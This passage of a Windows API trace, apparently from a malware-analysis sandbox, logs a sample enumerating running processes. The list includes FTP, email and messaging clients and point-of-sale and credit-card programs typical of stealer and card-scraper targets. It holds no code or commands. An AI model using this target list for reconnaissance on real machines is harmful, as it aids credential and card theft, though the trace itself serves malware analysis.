lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.266] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.268] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.271] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.274] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.276] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.279] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.281] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.284] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0261.287] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0261.289] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0261.292] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0261.294] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0261.297] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0261.299] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0261.304] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.306] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.309] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0261.311] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.313] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.316] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0261.318] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0261.320] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0261.323] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0261.325] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0261.327] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0261.329] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0261.331] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0261.333] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0261.336] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0261.338] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0261.340] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0261.343] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0261.345] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0261.347] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0261.349] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0261.352] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0261.354] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0261.356] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0261.358] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0261.701] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0261.704] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0261.706] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0261.709] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0261.712] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0261.715] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0261.718] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0261.721] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0261.724] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0261.727] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0261.730] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0261.733] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0261.736] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0261.739] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0261.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0261.744] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0261.749] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0261.752] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0261.755] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0261.760] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0261.767] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0261.770] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0261.773] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0261.776] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0261.778] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0261.781] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0261.783] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0261.785] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0261.787] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0261.789] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0261.792] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0261.794] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0261.796] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0261.797] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0261.799] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0261.801] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0261.803] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0261.805] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0261.808] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0261.853] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0261.856] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0261.858] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0261.860] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0261.862] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 